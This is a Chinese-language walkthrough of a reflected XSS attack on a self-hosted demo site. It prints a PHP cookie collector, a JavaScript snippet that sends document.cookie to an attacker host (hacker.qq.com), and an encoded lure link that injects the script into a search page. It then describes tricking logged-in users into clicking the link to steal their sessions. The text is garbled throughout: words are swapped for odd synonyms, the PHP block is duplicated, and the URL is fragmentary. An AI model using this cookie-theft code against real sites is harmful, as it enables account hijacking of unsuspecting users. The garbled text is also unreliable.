我們知道，XSS報(bào)復(fù)打擊大年夜致分為三種類型 ：Persistent型(持久型)，Non-persistent(反射型)及Dom-based型。而反射型是最常常利用，也是利用得最廣的一種報(bào)復(fù)打擊編制。它經(jīng)由過(guò)程給他人發(fā)送帶有歹意腳本代碼參數(shù)的URL，當(dāng)URL地址被打開時(shí)，獨(dú)有的歹意代碼參數(shù)被HTML解析、履行。它的特點(diǎn)長(zhǎng)短持久化，必需用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引發(fā)。
今天，經(jīng)由過(guò)程一個(gè)反射型xss的實(shí)戰(zhàn)演示，讓大年夜家具體體味這類報(bào)復(fù)打擊編制。
預(yù)備工作：
(1) 一個(gè)有反射型xss縫隙的網(wǎng)站(本身搭的虛擬站點(diǎn)，域名為xsstest.qq.com),該域名下有一個(gè)首頁(yè)(index.html),一個(gè)登岸頁(yè)面(login.html),一個(gè)登岸的cgi(login.php)，一個(gè)用于搜刮的cgi(search.php)。界面以下：
因?yàn)閤ss縫隙一般產(chǎn)生于與用戶交互的處所，是以搜刮框是我們存眷的重點(diǎn)。
(2)我們本身的黑客網(wǎng)站(另外一個(gè)虛擬站點(diǎn) hacker.qq.com)。該域名下有一個(gè)hack.php，用以匯集用戶的cookie，一個(gè)hacker.js用以向hack.php發(fā)要求。
發(fā)現(xiàn)縫隙
我們起首需要找出站點(diǎn)的xss縫隙產(chǎn)生在甚么處所，上面提到，與用戶交互的處所是我們的首要存眷點(diǎn)。。好，此刻我們隨便輸進(jìn)幾個(gè)字符“計(jì)較機(jī)”，點(diǎn)擊搜刮：
搜刮界面以下(這是本身寫的一個(gè)簡(jiǎn)陋的搜刮界面)：
這里發(fā)現(xiàn)了我們輸進(jìn)的字符呈此刻了搜刮界面上(良多電商網(wǎng)站應(yīng)當(dāng)都是這類界面頁(yè)面情勢(shì)吧)。。好，此次我們輸進(jìn)一些特別字符來(lái)嘗嘗“”，點(diǎn)擊搜刮：
呈現(xiàn)了我們心儀的小彈窗，看來(lái)search.php未對(duì)用戶輸進(jìn)的關(guān)頭詞作任何措置，便直接輸出到界面上，既然xss縫隙呈現(xiàn)，那么便可以開端實(shí)施報(bào)復(fù)打擊了，此次報(bào)復(fù)打擊的目標(biāo)是盜取用戶的cookie。
實(shí)施報(bào)復(fù)打擊
起首我們來(lái)寫我們本身的手機(jī)cookie CGI(hack.php)，代碼以下：
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?> $cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
> $cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
>
接著寫發(fā)送要求的hacker.js,代碼以下：
var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);
好的，此刻可以機(jī)關(guān)一個(gè)連接來(lái)棍騙用戶了：
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat="> src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">點(diǎn)擊就送998
看search.php 后的q參數(shù) ,解碼后為
實(shí)際的感化是摹擬用戶在搜刮框中輸進(jìn)
后點(diǎn)擊搜刮。search.php未經(jīng)措置的將其直接輸進(jìn)到頁(yè)面，使其在html文檔中有了新的語(yǔ)義。它會(huì)加載hacker.qq.com域下的haker.js。
好，當(dāng)用戶登岸了網(wǎng)站后，再棍騙用戶點(diǎn)擊這個(gè)鏈接，這時(shí)候辰，看hacker.qq.com域下，發(fā)現(xiàn)多了一個(gè)cookie.txt文件，打開來(lái)：
發(fā)現(xiàn)用戶用于登岸的賬號(hào)，暗碼都在內(nèi)，暗碼是顛末加密的。。OK，此刻我們便可以拿著這個(gè)cookie來(lái)獲得用戶的登岸態(tài)了。
全部報(bào)復(fù)打擊過(guò)程結(jié)束。
當(dāng)然，實(shí)際過(guò)程中，很少有網(wǎng)站有如斯較著的xss縫隙。。這里只是給大年夜家示范了一下反射型xss的道理，實(shí)際中的縫隙當(dāng)然八門五花，可是本質(zhì)是不變的。。大年夜家可以進(jìn)一步研究。